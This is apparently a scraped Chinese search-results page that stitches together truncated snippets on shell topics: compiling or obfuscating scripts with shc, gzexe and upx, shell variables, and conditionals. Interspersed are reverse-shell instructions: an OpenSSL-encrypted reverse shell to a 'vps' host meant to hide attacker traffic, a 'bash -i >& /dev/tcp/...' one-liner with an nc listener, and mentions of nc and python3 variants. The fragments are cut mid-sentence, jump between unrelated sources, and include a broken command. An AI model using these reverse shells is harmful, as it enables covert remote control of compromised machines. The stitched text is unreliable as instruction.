今天在LInux了接触到一个命令:“shc”,以前还真没遇到过,这个也不是内置的 ,不过挺有意思的 记录一下 这个是一个专门给shell脚本进行二进制加密的一个小程序,安装的话 直接 yum install.../configure make sudo make install 下面看下一些命令 shc Version 4.0.3, Generic Shell Script Compiler shc GNU...contact your provider"] -f %s File name of the script to compile -i %s Inline option for the shell...interpreter i.e: -e -x %s eXec command, as a printf format i.e: exec('%s',@ARGV); -l %s Last shell.../bin/bash echo "helloWorld" 加密: shc -r -f hello.sh 会生成几个文件 [root@VM-88-103-centos ~/tmp/shc]# ls hello.sh
没有搞懂因为什么,所以暂时放弃用管道符来加密nc了 【 openssl 】 ubuntu 16.04 默认自带 openssl ,我们可以使用 openssl 来加密我们的流量,我只是了解 https...工作流程,如何打包,如何传输,但是对于内部使用的算法怎么算的不是很理解,所以今天特意买了两本书看一看,过一段时间就会到了,不过不影响 openssl 加密我们的流量 这次的加密在某一些层面违背了我之前的原则...可以看到,成功反弹shell(连接的过程时间很长,耐心等待) 打开Wireshark 来进行抓包,看看咱们的流量是不是真的加密了 ? 可以看到使用了 TLSv1.2 传输,加密效果应该是杠杠的!...配置监听和反弹shell ?...成功反弹shell,肯定是最近熬夜多了,脑子不灵光了 【 python3 】 除了 openssl 工具来进行加密连接,我还有其他的招,没错就是 python3 , 既然 python3 可以使用 -c
场景 有时候我们写的shell脚本不便暴露里面的信息,或许此时我们或想到将不便暴露的信息以参数等方式传进去,还有一种方法:将shell脚本加密即可! 那么该如何将shell脚本加密呢?...使用shc~ ---- shc是什么 shc是一个脚本编译工具, 使用RC4加密算法, 它能够把shell程序转换成二进制可执行文件(支持静态链接和动态链接)。...add-apt-repository ppa:neurobin/ppa sudo apt-get update sudo apt-get install shc ---- shc简单使用 基本语法 shc -v -r -T -f shell.sh...案例,我们对一个demo.sh脚加密 ➜ data shc -v -r -T -f demo.sh shc shll=bash shc [-i]=-c shc [-x]=exec '%s' "$...[-l]= shc opts= shc: cc demo.sh.x.c -o demo.sh.x shc: strip demo.sh.x shc: chmod go-r demo.sh.x 注意:加密的过程中会生成两个文件
我们写的shell脚本里面通常会包含帐号密码等信息或者你不想让别人看到的信息,那么把写好的shell脚本进行简单的加密显得有些必要了。...常用的shell加密方法有两种,一种是通过gzexe加密,另一种是通过shc加密。 我们先给一个简单的脚本,然后用它来进行加密解密演示,脚本abc.sh内容如下 1 2 #!...但是通过gzexe加密的shell脚本并不是很安全,细看我们如何通过abc这个乱码的执行文件还原成原来的shell脚本。 ?...但是通过gzexe加密的shell脚本并不是很安全,细看我们如何通过abc这个乱码的执行文件还原成原来的shell脚本。...shc加密shell脚本 shc是比gzexe安全的多的加密软件,不过网络说通过gdb调试也是可以显示内容的,不过我没有尝试,网上也没啥资料。
为啥要加密shell脚本 以我个人的需求为例,我要做一个自动远程登录的脚本,每次手动输密码太慢,而且输的多了密码也容易泄露;直接把密码写在脚本里,快确实是快,但是安全性让人无法忍受,写脚本的时候都有可能被过路的不小心看到密码...shell脚本加密常用的有三种方法:gzexe,shc,upx 第一种,gzexe 特点是不用安装,加解密极其简单,我个人的操作环境是macOS,直接就可以用,命令简单粗暴 加密 gzexe l.sh...第三种,upx upx是一个加壳工具,主要用来给可执行文件加密用的,但是网上也有文章说可以给shell脚本加密,所以我们就来试试。 upx安装不废话了,大家可以自行百度,这里直接操练。...upx加密命令 # 最快压缩 upx -1 l.sh # 最强压缩 upx -9 l.sh 出师不利,upx不能压缩太小文件,而脚本众所周知一般都不大,upx对shell脚本价值减少90%。...怀疑是脚本不算可执行文件,用gzexe把脚本搞成了可执行文件,又压缩了一遍,这回确定了,upx加密后的脚本就是没法执行,upx对shell脚本价值减小为0。
这里,我们可以直接使用shc命令对shell脚本进行加密,简单易用,不依赖其它组件。 .../bin/sh echo "Welcome to linux world" # 说明,加密对于脚本传参完全不影响的。 ...shell脚本 welcome.sh.x 是二进制格式的加密shell脚本 welcome.sh.x.c 是welcome.sh文件的C源代码。...shell脚本: 现在,让我们执行加密的Shell脚本,确保能够运行: [root@localhost scripts]# ..../welcome.sh.x Welcome to linux world 指定Shell脚本的过期时间 使用shc,您还可以指定到期日期。
继上次发布shell脚本验证ip脚本后,由于脚本可以直接被修改,所以需要对脚本进行加密。...上百度搜索了下,shell加密有两种方案,一种压缩脚本,但不是很安全,第二种就是用shc加密了, 我比较看中的是这种,这种加密目前还没有一位大神公布破解方案,所以比较安全。
什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?
1 变量的分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...SHELL:当前使用的SHELL HISTSIZE:历史命令的最大条数 MAIL:当前用户的邮箱目录 PATH:可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID: echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux中的变量一共有5种类型,分别是:字符、整型、只读、环境变量。
那么如何保证安全呢,这需要我们对明文流量加密处理。...openssl加密传输 第一步,在vps上生成SSL证书的公钥/私钥对 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem...-days 365 -nodes 第二步,在VPS监听反弹shell openssl s_server -quiet -key key.pem -cert cert.pem -port 4433 第三步...,在目标上用openssl加密反弹shell的流量 mkfifo /tmp/s;/bin/ -i &1|openssl s_client -quiet -connect vps:...443 > /tmp/s;rm /tmp/s image.png 流量已经被加密。
Linux系统中Shell脚本加密字段的处理方法和原理分析在Linux系统中,shell脚本被广泛用于自动化任务和系统管理。...引言Shell脚本加密是一个重要的安全措施,尤其是在处理包含敏感数据的自动化任务时。加密可以确保即使脚本被未授权用户访问,敏感信息也不会被轻易泄露。...本文将介绍几种常见的shell脚本加密方法,并分析它们的工作原理。明文存储的风险在shell脚本中明文存储敏感信息(如数据库密码、API密钥等)会带来安全风险。...DB_PASSWORD=${DB_PASSWORD}echo "Database password is set to $DB_PASSWORD"原理分析: 环境变量是在用户会话中设置的动态值,它们可以在shell...使用Linux内置加密功能Linux提供了一些内置的加密功能,如crypt命令。#!
Linux系统中Shell脚本加密字段的处理方法和原理分析在Linux系统中,Shell脚本被广泛用于自动化任务和系统管理。...本文将探讨Shell脚本中加密字段的处理方法和原理,并提供一些实用的解决方案。...什么是Shell脚本中的敏感字段Shell脚本中的敏感字段通常指的是那些包含敏感信息的变量,如数据库密码、第三方服务的API密钥、SSH密钥等。...使用Linux内置加密工具Linux提供了一些内置的加密工具,如crypt和encfs,可以用来加密整个文件或目录。虽然这些工具不直接用于加密脚本中的字段,但可以用来保护包含敏感信息的配置文件。...结论在Linux系统中,保护Shell脚本中的敏感字段是非常重要的。通过使用环境变量、配置文件、密钥管理服务、GnuPG加密或Linux内置加密工具,可以有效地保护这些敏感信息。
一、shell编程中条件表达式的使用 if #条件 then Command else Command fi #别忘了这个结尾 如果if语句忘了结尾fi test.sh: line...四、shell的if与c语言if的功能上的区别 shell if:0为真,接着走then。...同时由于shell里没有> 和< ,会被当作尖括号,整数条件表达式只有-ge, -gt,-le, lt。 5....=放在别的地方是赋值,放在if [ ]里就是字符串等于,shell里面没有==的,那是c语言的等于。 6.= 作为等于时,其两边都必须加空格,否则失效!!!
在 Shell 语言中,可以直接定义变量。不过需要注意,在定义变量的过程中需要遵守一定的规则。这与绝大部分的编程语言类似。...~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中,直接使用“$”符,即可引用变量的值;一般配合 echo 命令可以打印变量的值; (base) xiehs...16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs 16:23...:59 ~/08.shell $ echo $b 2 如果变量名之后接有其他字符,可以使用”{}”进行区分。...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${
Linux shell 1、shell的概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...shell是结核性的脚本语言,在我们 shell中可以直接调用linux系统命令。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin.../bin/dash /bin/tcsh /bin/csh 4、shell脚本的执行方式 . shell.sh sh shell.sh ....;; pen|pencil) echo "study" ;; *) echo "usages: cat|dog|pen|pencil" esac 十一、Linux
函数创建两种方式: function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script,因此可以用调用脚本的方式来调用函数,在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code,可以用$?
接触过一些 shell 脚本,做服务端运维时也时常用到,是时候专门学习一下了。...=||/usr/bin/lesspipe.sh %sXDG_RUNTIME_DIR=/run/user/0HISTTIMEFORMAT=%F %T root_=/usr/bin/printenv 在 shell...Substitution and Constants 命令替换 echo Updated on $(date +"%x %r %Z") by $USER $(date+"%x %r %Z") 中 $() 告诉 shell...This older form is compatible with the original Bourne shell (sh)....The bash shell fully supports scripts written for sh, so the following forms are equivalent: $(command
什么是shell shell扮演者操作系统内核和用户的中间人的角色,用户通过键入shell command,然后shell通过解析用户输入,然后将请求转发给操作系统的内核进行处理。 1....还是hello world程序 首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名): #!.../bin/sh osch=0 echo "1. unix(sun os)" echo "2. linux(red hat)" echo ... # # nested if if [ $osch -eq 2 ] then echo "you pick up linux..." else echo "what you donot like unix/linux" fi fi #!
2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell
# Linux Shell编程 # 为什么要学习Shell编程 Linux运维工程师在进行服务器集群管理时,需要编写Shell程序来进行服务器管理。...对于大数据程序员来说,需要编写Shell程序来管理集群 # Shell是什么 Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动...看一个示意图 # Shell脚本的执行方式 # 脚本格式要求 脚本以#!.../bin/bash开头 脚本需要有可执行权限 # 编写第一个Shell脚本 需求说明:创建一个Shell脚本,输出hello world! vim hello.sh #!...的变量 # Shell变量介绍 Linux Shell中的变量分为,系统变量和用户自定义变量。
领取专属 10元无门槛券
手把手带您无忧上云